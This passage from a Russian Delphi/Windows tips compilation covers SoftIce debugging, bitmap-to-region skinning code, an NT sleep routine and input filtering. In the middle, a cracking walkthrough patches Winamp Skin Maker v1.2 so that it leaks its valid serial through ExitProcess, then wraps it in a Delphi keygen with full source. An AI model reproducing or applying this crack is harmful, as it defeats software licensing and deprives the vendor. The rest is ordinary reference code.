по адресу, над которым в данный момент находиться курсор (Аналог команды U). What – идентифицирует значение, находящееся под курсором с заранее определенными (Аналог команды Wath). Previous – отменяет предыдущую команду, введенную из контекстного меню (работает с командами Display и Un-Assemble). 2.2 Управление с помощью клавиатуры: Можете делать все то же самое, но будет отсутствовать контекстное меню и буфер обмена. Изменение размера окна – размер (в строках) непосредственно задается в команде открытия окна, если нужно. WC – открыть окно кода (Code Window). WD – открыть окно данных (Data Window). WF – открыть окно FPU Stack (FPU Stack Window). WL – открыть окно локальных переменных (Locals Window). WR – открыть окно регистров (Register Window). WW – открыть окно слежения (Watch Window). Повторный ввод этих команд без параметров закрывает соответствующие окна, с параметрами – меняет размер. По умолчанию курсор находиться в окне команд. Переместить курсор в нужное окно можно следующими комбинациями клавиш (если вы находитесь в окне команд (Command Windows)): Перейти в окно кода (Code Window)Alt-C Перейти в окно данных (Data Window)Alt-D Перейти в окно локальных переменных (Locals Window)Alt-L Перейти в окно регистров (Register Window)Alt-R Перейти в окно слежения (Watch Window)Alt-W В окно сопроцессора курсор переместить нельзя. Повторное нажатие этих клавиш возвратит вас обратно в окно команд (все вышесказанное действительно и для Code Window). В окне данных переключиться между дампами в HEX и ASCII формате можно с помощью клавиши Tab, с ее же помощью можно переходить между регистрами в окне регистров. Скроллинг на одну строку – переходите в нужное окно и клавишами управления курсор вверх и курсор вниз скроллируете окно. Скроллинг на экран - переходите в нужное окно и клавишами PageUp и PageDown скроллируете окно. Примечание: Code и Data Window можно скроллировать и не переключаясь в них из окна команд, для этого нужно кроме управляющих клавиш удерживать еще Alt для Data Window и Ctrl для Code Window. Изменение значений регистров – перейдите в окно регистров, подведите курсор к тому регистру, значение которого хотите изменить и введите число, если нужно изменить одну цифру, то подводите курсор к этой цифре и меняйте, нажатие Enter подтверждает изменение, Esc отменяет. Изменение значений флагов – перейдите в окно регистров, подведите курсор к тому флагу, который хотите изменить. После чего, клавишей Ins можно изменить значение флага на противоположное (маленькая буква означает, что флаг не установлен, большая - установлен), Enter можно не нажимать. Изменение значений ячеек памяти – перейдите в окно данных, подведите курсор к тому байту (слову, двойному слову и т.д.), которое хотите изменить и вводите ваше значение, если хотите изменить одну или несколько цифр в числе, то подведите курсор с помощью клавиатуры к нужным числам и меняйте. Нажатие Enter или переход к следующему числу подтверждает изменение, Esc отменяет. Установка точек останова на исполнение – в окне команд наберите команду BPX и введите адрес строки, на которой хотите остановиться. Удаление из Watch Window переменных – перейдите в Watch Window, установите курсор на переменную, которую хотите удалить, переменная подсветиться, нажмите кнопку Del – переменная исчезнет. После небольшой лекции по управлению SoftIce можно заняться и собственно отладкой. Так как мы отлаживаем программу, написанную на языке высокого уровня и с отладочной информацией, то можем отключить окно регистров и окно данных, и включить Locals Window, что бы видеть какие параметры передаются в процедуры (т.е. WD,WR,WL при условии, что пользовались настройками приведенными выше). Что бы посмотреть какие из исходных текстов программы были загружены - дайте команду FILE *. На экране в окне команд вы увидите имена файлов содержащих исходные тексты программы GdiDemo: Bounce.c, Wininfo.c, Poly.c, Maze.c, Init.c, Draw.c, Dialog.c, Xform.c, Gdidemo.c. Так как окно команд обычно небольшое, то вы увидите несколько первых имен файлов. В строке помощи будет присутствовать надпись "Press any key to continue; Esc to cancel", вы можете с помощью клавиши Enter. Получить следующую строку с именем файла, или, нажав на пробел, получить следующую порцию строк с именами файлов (действительно для всех сообщений выводимых в окне команд). Если в процессе изучения листинга программы вы забрались слишком далеко от текущего значения EIP, то вернутся можно командой: :U EIP – дизасемблировать программу начина с текущего EIP адреса, либо командой; :. (точка) – переместиться к текущей исполняемой инструкции. 3. Трассировка программы. Воспользуйтесь командой T (trace) для того чтобы оттрассировать одну команду, или клавишей F8, которая закреплена по умолчанию за командой T. Произойдет выполнение команды находящейся в текущей строке и курсор перейдет на следующую строку и подсветит ее. Это строка: LpszLine=LpszLine; Еще раз нажмите F8, курсор передвинется на следующую строку: if(!hPrevInst). В Code Window вы видите исходный текст программы (source mode). Если вы хотите посмотреть дизассемблированный (code mode) текст программы или исходный и дизассемблированный (mixed mode) текст вместе, воспользуйтесь командой SRC или клавишей F3 закрепленной за этой командой. При первом нажатии вы увидите смешанный (исходный текст программы и ассемблерные инструкции, из которых состоит эта строка) текст, при втором нажатии дизассемблированный, третье нажатие вернет вас в режим просмотра исходного текста программы. Нажмите еще раз F8 и вы перейдете к строке if(!RegisterAppClass(hInst)); Для того, чтобы отлаживать программу, вы пользуетесь командой Т, которая исполняет один оператор исходной программы или одну машинную команду. Еще существует команда P или клавиша F10, которая выполняет один шаг в программе, т.е. при трассировке какой-либо функции или прерывания вы не получите управления до тех пор, пока выполнение функции не завершится, и вы не вернетесь из функции обратно. Команду P удобно применять в том случае, когда вы отлаживаете основной алгоритм и отвлекаться на трассировку каждой процедуры нерационально. Примечание: Командой T нельзя оттрассировать системные вызовы (WIN32 API calls) находясь в source mode, для их трассировки нужно перейти в mixed или code mode. 4. Просмотр локальных переменных. Окно Locals Window показывает текущий кадр стека. В нашем случае он содержит локальные переменные для функции WinMain. Командой T войдите в функцию RegisterAppClass, окно Locals Window станет пустым, так как для этой функции еще не определены локальные переменные. Функция RegisterAppClass находится в файле INIT.C. SoftIce показывает текущий файл в левом верхнем углу Code Window Введите команду T снова, окно Locals Window будет содержать параметр переданный функции RegisterAppClass (hInstance) и локальную структуру wndClass. Перед структурой стоит знак плюс, который означает что внутри находятся переменные, которые можно посмотреть (так же можно смотреть строковые переменные и массивы). Если у вас Pentium и вы пользуетесь мышкой, то посмотреть структуру можно два раза щелкнув по ней мышкой, знак + сменится на – и вы увидите переменные из которых состоит структура. Закрыть структуру можно так же (двойным щелчком мыши). Если вы пользуетесь клавиатурой то последовательность действий такова: жмем Alt-L для перехода в Locals Window, затем курсорными клавишами подводим светящуюся полоску к структуре, которую хотим посмотреть и нажимаем Enter. Если требуется закрыть ее, то нажимаем Enter еще раз. 5. Установка точек останова на выполнение. Точки останова на выполнение делятся на два вида: просто точки останова и однократные точки останова. Однократные точки останова: Перейдите в Code Window, используя клавишу PgDn переместите курсор на строку с номером 61 (тоже самое можно сделать используя команду U .61), в этой строке находиться первый вызов функции Win32 API RegisterClass. Используя команду HERE (клавиша F7) выполните программу до этой строки. Команда HERE устанавливает точку останова в программе на адрес или строку на которой находиться курсор и выполняет программу с текущего адреса до адреса на котором находиться курсор, т.е. до тех пор пока не сработает точка останова, после срабатывания SoftIce автоматически отключит эту точку останова, что бы она больше не срабатывала. Текущей строкой в отлаживаемой программе стала строка: If(!RegisterClass(&wndClass)) Примечание: того же самого результата можно было добиться если бы вы дали команду G .61 (исполнять программу до строки 61). Обычные точки останова. Следующие шаги демонстрируют использование обычных точек останова, т.е. таких которые будут срабатывать до тех пор пока вы их не отмените. Найдите следующий вызов функции RegisterClass, находящийся в строке 74. Установите курсор на эту строку и введите команду BPX (BreakPoint eXecutable) или клавишу F9 (по этой команде, в память на место команды расположенной под курсором записывается команда INT3, но вы этого не видите :-)). Строка должна подсветиться (если вы находитесь в code mode, то после команды BPX необходимо указать адрес строки на которую хотите поставить точку останова). Снять точку останова можно повторным вводом этой же команды. Если вы счастливый обладатель процессора Pentium, то процесс установки и снятия точки останова сводится к двойному щелчку левой кнопкой на той команде, где хотите поставить точку останова. После установки точки останова запустите программу командой G или X (клавиша F5). Когда программа исполнит инструкцию INT3, она передаст управление SoftIce, после чего он появиться перед вами. Посмотреть информацию об установленных точках останова можно командой BL (BreakPoint List): :BL 00) BPX #0137:00402442 (адрес может быть другим). Видим что установлена одна точка останова на исполнение по адресу 00402442, с порядковым номером 0. По этому адресу находиться команда, расположенная в текущем файле INIT.C в строке 74. Вы можете использовать вычисление выражений, для того чтобы получить адрес строки по ее номеру: :? .74 void * = 0x00402442 Так как дальнейшая пошаговая трассировка функции RegisterAppClass не имеет для нас смысла, вернемся в то место, откуда эта функция вызывалась. Для этого существует команда P с параметром RET (клавиша F12). Она позволяет выполнять программу до тех пор пока не встретит команду RET (RETF), исполнив эту команду SoftIce выйдет из подпрограммы и остановиться на строке следующей за вызовом этой подпрограммы. Применительно к нашей программе: функция RegisterAppClass вызывается из функции WinMain, SoftIce остановиться в функции WinMain на строке следующей за вызовом функции RegisterAppClass, т.е. подсвечена будет строка: Msg.wParam = 1; Воспользуйтесь командой BC (Breakpoint Clear) с номером точки останова, который вы посмотрели с помощью команды BL, для того, что бы убрать именно эту точку останова, или вместо номера введите *, тогда вы уберете все точки останова (можно вводить номера точек останова через запятую, если хотите убрать несколько точек). 6. Использование информационных команд. SoftIce имеет в своем распоряжении много разных команд, с помощью которых можно узнать состояние и получить иную информацию об операционной системе и запущенных в ней приложениях. Мы рассмотрим только две команды: H (Help) и CLASS. Эти команды выводят достаточно много информации в окне команд (Command Window), поэтому желательно увеличить размер этого окна, для этого закроем окно локальных переменных (Locals Window). По команда H можно получить помощь по всем командам SoftIce или более подробную информацию о конкретной команде, если введете ее имя в качестве аргумента команды H: :H CLASS Display window class information CLASS [-x] [task-name] Ex: CLASS USER Первая строка дает описание команды, вторая показывает информацию о синтаксисе и аргументах, которые могут использоваться в команде, третья строка содержит пример использования команды. Целью выполнения функции RegisterAppClass является регистрация шаблона для классов окон, которые будут использованы приложением GdiDemo для создания окон. Используя команду CLASS можно посмотреть зарегистрированные классы для GdiDemo: :CLASS GDIDEMO Результатом выполнения данной команды является информация о каждом зарегистрированном классе окна. Информация включает в себя: имя класса, адрес внутренней структуры данных WNDCLASS, модуль который зарегистрировал данный класс, адрес процедуры, которая обслуживает данный класс и состояние флагов стиля класса. Для получения подробной информации воспользуйтесь ключом –X.| Handle | Class Name | Owner | WndwProc | Styles |
| 5110 | BOUNCEDEMO | GDIDEMO | 2E9F:00000114 | 03000003 |
| 40AC | DRAWDEMO | GDIDEMO | 2E9F:000000FE | 03000003 |
| 409C | MAZEDEMO | GDIDEMO | 2E9F:000000E8 | 03000003 |
| 3BC4 | XFORMDEMO | GDIDEMO | 2E9F:000000D2 | 03000003 |
| 3BB4 | POLYDEMO | GDIDEMO | 2E9F:000000BC | 03000003 |
| 3A00 | GDIDEMO | GDIDEMO | 2E9F:000000A6 | 03000003 |
| .text | (0137:00401000 | , 000145C1 bytes) |
| 0137:004012E0 | WinMain | |
| 0137:00405700 | WinMainCRTStartup | |
| 0137:004013AD | WndProc | |
| 0137:0040AF50 | wcslen | |
| 0137:0040C160 | wcsncnt | |
| 0137:004107A0 | wctomb | |
| 0137:0040FA50 | write_char | |
| 0137:0040FAD0 | write_multi_char | |
| 0137:0040FB20 | write_string |
| WindowHandle | hQueue | SZ | Qowner | ClassName | WindowProcedure |
| 0724(1) | 10FF | 32 | GDIDEMO | GDIDEMO | 365F:000001C4 |
| 0728(2) | 10FF | 32 | GDIDEMO | MdiClient | 17A7:00001988 |
| 0734(3) | 10FF | 32 | GDIDEMO | BOUNCEDEMO | 365F:00000232 |
| 0730(3) | 10FF | 32 | GDIDEMO | POLYDEMO | 365F:000001DA |
| 072C(3) | 10FF | 32 | GDIDEMO | DRAWDEMO | 365F:0000021c |
Скины.
Немного предистории: надо было мне создать скиновое окошко. Вроде несложно, исходников по этому делу везде лежит навалом, бери да делай. Проблема организовалась в том, что для сложных фигур просчет такого окна из растра занимает достаточно много времени. А когда окон несколько? Короче, я решил все это дело написать самостоятельно, причем отказавшись от таких вещей, как GetPixel() и CombineRgn(). Получилось вроде здорово и быстро.
Далее следует исходный код с комментариями:
unit RgnUnit;
interface
uses
Windows, SysUtils, Classes;
function CreateBitmapRgn(DC : hDC; Bitmap: hBitmap; TransClr: TColorRef): hRgn;
{
Данная функция создает регион, используя для этого растр Bitmap
и исключая из него цвет TransClr. Все расчеты производятся для
устройства DC.
данная функция состоит из двух частей:
первая часть выделяет память и копирует туда исходное изображение в формате
24 бита на точку, без палитры, т.е. фактически в каждых трех байтах
данного раздела памяти будет записан цвет точки исходного изображения.
Данный формат был выбран из удобства его обработки
(нет необходимости создавать палитру), к тому же нет потери качества
при конвертации исходного изображения. Однако, теоретически можно использовать
любой формат.
Для выделения памяти под конвертируемое изображение используется функция
WinAPI CreateDIBSection. Данная функция выделяет память и создает
независмый растр. Для вызова данной функции необходимо заполнить структуру
BITMAPINFO, что достаточно не сложно.
Внимание! для изображений Windows Bitmap используется разрешение в формате
dots per metr (pixels per metr), стандартному разрешению 72dpi соответствует
2834dpm.
Фактически, данную функция можно не использовать, вручную выделив память
для последующего переноса исходного изображения.
Для конвертации и переноса исходного изображения в выделнную память
используется функция WinAPI GetDIBits. Функции передаются следуюшие параметры:
исходное изображение, количество рядов для переноса, указатель на память,
куда следует перенести изображение, структура BITMAPINFO с заполнеными первыми
шестью членами (именно здесь задяются параметры для конвертирования
изображения). Фактически, данная функция может перевести любой исходный растр
в любой необходимый растр.
вторая чать описываемой функции проходится по области памяти, куда было
занесено конвертируемое изображение, отсекает ненужные области и содает регион.
Для создания региона используется функция WinAPI ExtCreateRegion. Для вызова
данной функции необходимо заполнить структуру RGNDATA, состоящую из структуры
RGNDATAHEADER и необходимого количества структур RECT. в Дельфи структура
RGNDATA описана так:
_RGNDATA = record
rdh: TRgnDataHeader;
Buffer: array[0..0] of CHAR;
Reserved: array[0..2] of CHAR;
end;
RGNDATA = _RGNDATA;
Скорее всего, поле Reserved было введено программистами Дельфи только для того,
чтобы в нее умещался хотя бы один прямоугольник, т.к. в Microsoft Platfrom SDK
этого поля нет. Однако, данная структура нам не подходит, т.к. нам необходимо
учитывать сразу несколько прямоугольников. Для решения этой задачи приходится
выделять память вручную, с учетом RGNDATAHEADER и количества прямоугольников,
необходимых нам, заносить туда прямоугольники (после RGNDATAHEADER),
создавать указатель на структуру RGNDATA и ставить его на выделнную память.
Следовательно, придется два раза пройтись по растру: первый раз - для расчета
количества прямоугольников, а второй - для уже фактического их занесения
в выделенную память.
Есть несколько способов для избежания двойного прохода растра, но все они
имеют свои недостатки и здесь не рассматриваются. В любом случае, даже для
больших и сложных изображений эти два прохода достаточно быстры.
по окнчании работы функции освобождается память, выделенная на конвертируемый
растр и структуру RGNDATA.
}
implementation
//создает регион из растра Bitmap для DC с удалением цвета TransClr
//внимание! TColorRef и TColor не одно и тоже.
//Для перевода используется функция ColorToRGB().
function CreateBitmapRgn(DC: hDC; Bitmap: hBitmap; TransClr: TColorRef): hRgn;
var
bmInfo: TBitmap; // структура BITMAP WinAPI
W, H: Integer; // высота и ширина растра
bmDIB: hBitmap; // дискрептор независимого растра
bmiInfo: BITMAPINFO; // структура BITMAPINFO WinAPI
lpBits, lpOldBits: PRGBTriple; // указатели на структуры RGBTRIPLE WinAPI
lpData: PRgnData; // указатель на структуру RGNDATA WinAPI
X, Y, C, F, I: Integer; // переменные циклов
Buf: Pointer; // указатель
BufSize: Integer; // размер указателя
rdhInfo: TRgnDataHeader; // структура RGNDATAHEADER WinAPI
lpRect: PRect; // указатель на TRect (RECT WinAPI)
begin
Result:=0;
//если растр не задан, выходим
if Bitmap=0 then
Exit;
//узнаем размеры растра
GetObject(Bitmap, SizeOf(bmInfo), @bmInfo);
//используя структуру BITMAP
W:=bmInfo.bmWidth;
H:=bmInfo.bmHeight;
//определяем смещение в байтах
I:=(W*3)-((W*3) div 4)*4;
if I<>0 then
I:=4-I;
//Пояснение: растр Windows Bitmap читается снизу вверх, причем каждая строка
//дополняется нулевыми байтами до ее кратности 4.
//для 32-х битный растров такой сдвиг делать не надо.
//заполняем BITMAPINFO для передачи в CreateDIBSection
bmiInfo.bmiHeader.biWidth:=W; // ширина
bmiInfo.bmiHeader.biHeight:=H; // высота
bmiInfo.bmiHeader.biPlanes:=1; // всегда 1
bmiInfo.bmiHeader.biBitCount:=24; // три байта на пиксель
bmiInfo.bmiHeader.biCompression:=BI_RGB; // без компрессии
bmiInfo.bmiHeader.biSizeImage:=0; // размер не знаем, ставим в ноль
bmiInfo.bmiHeader.biXPelsPerMeter:=2834; // пикселей на метр, гор.
bmiInfo.bmiHeader.biYPelsPerMeter:=2834; // пикселей на метр, верт.
bmiInfo.bmiHeader.biClrUsed:=0; // палитры нет, все в ноль
bmiInfo.bmiHeader.biClrImportant:=0; // то же
bmiInfo.bmiHeader.biSize:=SizeOf(bmiInfo.bmiHeader); // размер структруы
bmDIB:=CreateDIBSection(DC, bmiInfo, DIB_RGB_COLORS,
Pointer(lpBits), 0, 0);
//создаем независимый растр WxHx24, без палитры, в указателе lpBits получаем
//адрес первого байта этого растра. bmDIB - дискрептор растра
//заполняем первые шесть членов BITMAPINFO для передачи в GetDIBits
bmiInfo.bmiHeader.biWidth:=W; // ширина
bmiInfo.bmiHeader.biHeight:=H; // высота
bmiInfo.bmiHeader.biPlanes:=1; // всегда 1
bmiInfo.bmiHeader.biBitCount:=24; // три байта на пиксель
bmiInfo.bmiHeader.biCompression:=BI_RGB; // без компресси
bmiInfo.bmiHeader.biSize:=SizeOf(bmiInfo.bmiHeader); // размер структуры
GetDIBits(DC, Bitmap, 0, H-1, lpBits, bmiInfo, DIB_RGB_COLORS);
//конвертируем исходный растр в наш с его копированием по адресу lpBits
lpOldBits:=lpBits; //запоминаем адрес lpBits
//первый проход - подсчитываем число прямоугольников, необходимых для
//создания региона
C:=0; //сначала ноль
//проход снизу вверх
for Y:=H-1 downto 0 do
begin
X:=0;
//от 0 до ширины-1
while Xdo
begin
//пропускаем прзрачный цвет, увеличивая координату и указатель
while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
lpBits.rgbtBlue)=TransClr) and (Xdo
begin
Inc(lpBits);
X:=X+1;
end;
//если нашли не прозрачный цвет, то считаем, сколько точек в ряду он идет
if RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
lpBits.rgbtBlue)<>TransClr then
begin
while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
lpBits.rgbtBlue)<>TransClr) and (Xdo
begin
Inc(lpBits);
X:=X+1;
end;
//увиличиваем счетчик прямоугольников
C:=C+1;
end;
end;
//ряд закончился, необходимо увеличить указатель до кратности 4
PChar(lpBits):=PChar(lpBits)+I;
end;
lpBits:=lpOldBits; //восстанавливаем значение lpBits
//Заполняем структуру RGNDATAHEADER
rdhInfo.iType:=RDH_RECTANGLES; // будем использовать прямоугольники
rdhInfo.nCount:=C; // их количество
rdhInfo.nRgnSize:=0; // размер выделяем памяти не знаем
rdhInfo.rcBound:=Rect(0, 0, W, H); // размер региона
rdhInfo.dwSize:=SizeOf(rdhInfo); // размер структуры
//выделяем память для струтуры RGNDATA:
//сумма RGNDATAHEADER и необходимых на прямоугольников
BufSize:=SizeOf(rdhInfo)+SizeOf(TRect)*C;
GetMem(Buf, BufSize);
//ставим указатель на выделенную память
lpData:=Buf;
//заносим в память RGNDATAHEADER
lpData.rdh:=rdhInfo;
//Заполдяенм память прямоугольниками
lpRect:=@lpData.Buffer; //первый прямоугольник
for Y:=H-1 downto 0 do
begin
X:=0;
while Xdo
begin
while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
lpBits.rgbtBlue)=TransClr) and (Xdo
begin
Inc(lpBits);
X:=X+1;
end;
if RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
lpBits.rgbtBlue)<>TransClr then
begin
F:=X;
while (RGB(lpBits.rgbtRed, lpBits.rgbtGreen,
lpBits.rgbtBlue)<>TransClr) and (Xdo
begin
Inc(lpBits);
X:=X+1;
end;
lpRect^:=Rect(F, Y, X, Y+1); //заносим координаты
Inc(lpRect); //переходим к следующему
end;
end;
PChar(lpBits):=PChar(lpBits)+I;
end;
//после окночания заполнения структуры RGNDATA можно создавать регион.
//трансформации нам не нужны, ставим в nil, указываем размер
//созданной структуры и ее саму.
//создаем регион
Result:=ExtCreateRegion(nil, BufSize, lpData^);
//теперь структура RGNDATA больше не нужна, удаляем
FreeMem(Buf, BufSize);
//созданный растр тоже удаляем
DeleteObject(bmDIB);
end;
end.
|
Исследование Winamp Skin Maker v1.2.
Оформил: DeeCo Автор: http://www.cracklab.narod.ru
Предисловие Сама защита в этой программе - почти никакая, и все обычно ограничиваются нахождением кода для своего имени, а кейгенов я до сих пор не видел. Однако алгоритм генерации ключа если не сложный, то довольно муторный, и разбираться в не хочется. Но кейген писать придётся. Воспользуемся особенностью нашего человека - нестандартным мышлением. Приступим к делу. Что нам сейчас нужно: Softice 4.* Icedump 6.* - только для того, чтобы копировать текст из Sоftiсе"а на диск. Можете заменить его W32Dasm и ручкой с бумагой. Hiew 32 6.5 Delphi 4-6 (6 recommended). ResHacker, WinRar. Итак, запускаем программу(перед этим Softice и т.д.). Идем на Help->About->Register. Вводим РИ. Ставим брейкпоинт на hmemcpy. Жмем OK. Попадаем в Softice. Снимаем брейкпоинт. Теперь жмем F12 до тех пор, пока не вылезем в Skinner.exe. После этого наблюдаем следующее:--------------------------------------------------byte--------------PROT---(0)-- -вырезано- -------------------------------------------------------------------------PROT32- -вырезано- 016F:00406D7A MOV EDI,[USER32!GetDlgItemTextA] 016F:00406D80 PUSH ESI 016F:00406D81 CALL EDI (То есть USER32!GetDlgItemTextA) Name> 016F:00406D83 LEA EAX,[ESP+38] 016F:00406D87 PUSH 29 016F:00406D89 PUSH EAX 016F:00406D8A PUSH 000003FD 016F:00406D8F PUSH ESI 016F:00406D90 CALL EDI (То есть USER32!GetDlgItemTextA) Our reg.#> 016F:00406D92 LEA EAX,[ESP+0C] 016F:00406D96 PUSH EAX 016F:00406D97 CALL 00407E30 016F:00406D9C ADD ESP,04 016F:00406D9F MOV EBX,EAX ------------------------------------SKINNER!.text+5D64-------------------------- Break due to BPX KERNEL!HMEMCPY (ET=1.26 seconds) :bc * :/Screendump C:\f1.dosДалее:
016F:00406DA1 LEA EAX,[ESP+38] 016F:00406DA5 PUSH EAX 016F:00406DA6 CALL 00407D00 016F:00406DAB ADD ESP,04 016F:00406DAE MOV EDI,ЕАХТеперь в EDI результат (код)! 016F:00406DB0 TEST EDI,EDI 016F:00406DB2 JNZ 00406DEBИ вот:
016F:00406DEB CMP ED(наш>,EBX(правильный> 016F:00406DED JNZ 00406E24А EBX мы последний раз меняли ещё в первом случае! Теперь остаётся "всего-то" узнать значение EBX программным способом для Skinner.exe в момент сравнения кодов :)! Я видел где-то старый некрасивый способ, который предполагает спровоцировать сбой, Windows 95/98 покажет вам табличку с регистрами и сообщением об ошибке. Потом надо взять значение EBX , перевести в десят. систему и это будет код. Нудно, некрасиво, и не работает под другими ОС. Я нашел способ, который проще и лучше. На это I've spent 24 hours. Мне всегда нравилась функция ExitProcess(ExitCode:Cardinal). Говорят, что под Win X в ExitCode можно ставить любое число. Пишем свой код после: (using Hiew)
016F:00406D97 CALL 00407E30 016F:00406D9C ADD ESP,04 push eax call Kernel32!ExitProcessэто ассемблируется до: 50+FF1548244300, причем второе я подсмотрел в Imported Functions в W32Dasm, а 1-е написал сам Hiew. Ну что, теперь программа по нажатию О.К. просто закрывается. Надо как-нибудь получить то, что она передаёт из EAX. Воспользуемся Delphi 6. Sources:
program Project1;
uses Windows, SysUtils, Messages; //необходимый миниму>
{$APPTYPE GUI} //У нас Gui-приложение>
{$R Icon.res} //иконку возьме>
{$R Dlg.res} //и диалог тож>
var
rc: Cardinal; //код на>
StartupInfo: TStartupInfo; //необ. с>
ProcessInfo: TProcessInformation; //необ. с>
procedure StartProcess(hWnd: THandle); //процедура наш>
begin
rc := 0;
FillChar(StartupInfo, Sizeof(StartupInfo), #0); //заполняем с>
StartupInfo.cb := Sizeof(StartupInfo);
StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
StartupInfo.wShowWindow := SW_SHOWDEFAULT;
CreateProcess(nil, Pchar('WSV1.20.KG.exe'), nil, nil, false,
NORMAL_PRIORITY_CLASS, nil, nil, StartupInfo, ProcessInfo); //создаем процес>
WaitforSingleObject(ProcessInfo.hProcess, INFINITE); //ждем завершени>
GetExitCodeProcess(ProcessInfo.hProcess, rc); //получаем ко>
if rc<
>
0 then
begin
SetDlgItemText(hWnd, 108, Pchar(IntToStr(rc)));
SetDlgItemText(hWnd, 0, Pchar('Here is your Reg.#: '));
end
else //если кто-то не может ввести свое имя, то..>
SetDlgItemText(hWnd, 108, Pchar('Incorrect name.'));
end;
function DialogProc(hWnd: THandle; Msg: Integer; wParam, lParam: Integer): Bool;
stdcall;
begin
if Msg = WM_INITDIALOG then
RESULT := true //нужно для создания диалог>
else if Msg = WM_CLOSE then
ExitProcess(0) //если нас захотят закрыт>
else if (Msg = WM_COMMAND) and (Wparam = 106) then //если нажали нашу кнопк>
begin
ShowWindow(hWnd, SW_Hide);
StartProcess(hWnd);
ShowWindow(hWnd, SW_Show);
end
else
Result := false;
end;
//===========Не знаю зачем я это сделал================/>
procedure MessageBox(Wnd: Integer; Text: PChar; Caption: PChar; Typ: Integer);
stdcall;
external 'user32.dll' name 'MessageBoxA';
//=====================//
begin
//А это официальное начало программы :-)>
DialogBoxParam(GetModuleHandle(nil), PChar('DIALOG_0'), 0, @DialogProc, 0);
end.
Файл ресурсов:
/ * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * *
file: D: \SLAVAPROJECTS\DELPHI\SK_KG\DLG.RC
Generated by Resource Builder 1.0.
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * /
// Below are important 3 lines, don't change them!
/ *
OutputExt = RES
* /
DIALOG_0 DIALOG 127, 65, 180, 86
STYLE DS_ABSALIGN | DS_MODALFRAME | WS_VISIBLE | WS_SYSMENU | WS_MINIMIZEBOX |
WS_POPUP |WS_CAPTION |WS_BORDER |WS_DLGFRAME
CAPTION "
KeyGen for Winamp Skin Maker 1.20 "
FONT 8, "
MS Sans Serif"
LANGUAGE LANG_NEUTRAL, 0
begin
CONTROL "
Start generating - >
>
"
, 106, "
BUTTON"
, BS_PUSHBUTTON|WS_VISIBLE|WS_TABSTOP, 7, 62, 165, 20
CONTROL "
Crack - type
: KeyGen Author: wersion E - mail: wcrkgroup2002@mail.ru "
, 65535, "
STATIC"
, BS_PUSHBUTTON|WS_VISIBLE|WS_TABSTOP, 10, 7, 159, 26
CONTROL "
"
, 108, "
EDIT"
, BS_PUSHBUTTON|WS_VISIBLE|WS_TABSTOP|WS_BORDER, 92, 43, 83, 12
CONTROL "
Here will be your Reg.#0"
, 65536, "
STATIC"
, BS_PUSHBUTTON|WS_VISIBLE|WS_TABSTOP, 11, 44, 75, 10
end
Все! Сие приложение занимает 40 кб, упакованное UРХ"ом 20 кб. да, а нам нужен ещё и исходный Exe-file(388 кб - написано на MSVC). дабы уменьшить его размер, произведём следующие изменения. дойдём до окна About, затем поставим брейкпоинт на DialogBoxParamA
Жмем Register и попадаем в SoftIce, жмем F12.
016F:00406B8E JNZ 004068A6
016F:00406B94 MOV ESI,[ESP+78]
016F:00406B9A PUSH 00406D00
016F:00406B9F MOV EAX,[0042FB70]
016F:00406BA4 PUSH ESI
016F:00406BA5 PUSH 0000008A
016F:00406BAA PUSH EAX
016F:00406BAB CALL [USER32!DialogBoxParamA]
Хорошо бы с самого начала прыгнуть на Но пусть программа сделает все свои дела, подгрузит ресурсы и т.д., а потом уж и покажет диалог.
Найдем call, который показывает основное окно. для этого загрузим программу в SymBol Loader. Будем заходить по F8 во все саll'ы, после которых происходит показ окна, пока не дойдем до конечного, который занимается CreateWindowExA и т.д. Вот он: 50 PUSH EAX 016F:00401D14 56 PUSH ESI 016F:00401D15 E8B6010000 CALL 00401ED0С адреса впишем прыжок на . (A) вы уже сделали. Теперь подредактируйте сей диалог в Skinner.exe. А потом вырежьте все ненужные ресурсы окромя иконок и его. Упакуйте все WinRаr"ом. Вот мой скрипт.
Setup=Start.exe Silent=1 Overwrite=1 TempModeЭпилог Итак, что мы получили? Кейген в 120 кб. Учитывая, что он содержит ориг. программу, а сам написан на Delphi, то это неплохо. Чему мы научились? Рационально работать. Первыми(я, по крайней мере) сделали кейген к этой программе. Created by Wersion. 11/10/02. E-mail: wcrkgroup2002@mail.ru Вопросы/пожелания/угрозы - приветствуются.
Переход в Спящий режим (WinNT).
Автор: DeMoN-777 WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Переход в Спящий режим (WinNT)
Зависимости: Windows, system
Автор: DeMoN-777, DeMoN-777@yandex.ru, ICQ:169281983, Санкт-Петербург
Copyright: @
Дата: 21 сентября 2002 г.
***************************************************** }
procedure NTSleep;
var
hToken: THandle;
tkp: TTokenPrivileges;
ReturnLength: Cardinal;
begin
if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or
TOKEN_QUERY, hToken) then
begin
LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid);
tkp.PrivilegeCount := 1; // one privelege to set
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
if AdjustTokenPrivileges(hToken, False, tkp, 0, nil, ReturnLength) then
SetSystemPowerState(true, true);
end;
end;
Пропускать сообщения от клавиатуры и мышки в своем приложении.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Connect a handler to the Application.OnMessage event.
You have to do this in code:
}
private
procedure AppOnMessage(var Msg: TMsg; var Handled: Boolean);
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
var
FConnected: Boolean;
procedure TForm1.AppOnMessage(var Msg: TMsg; var Handled: Boolean);
begin
if FConnected then
case Msg.Message of
WM_KEYFIRST..WM_KEYLAST, // Keyboard events
WM_MOUSEFIRST..WM_MOUSELAST: // Mouse events
Handled := True
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Application.OnMessage := AppOnMessage;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
Application.OnMessage := nil;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
FConnected := True;
end;
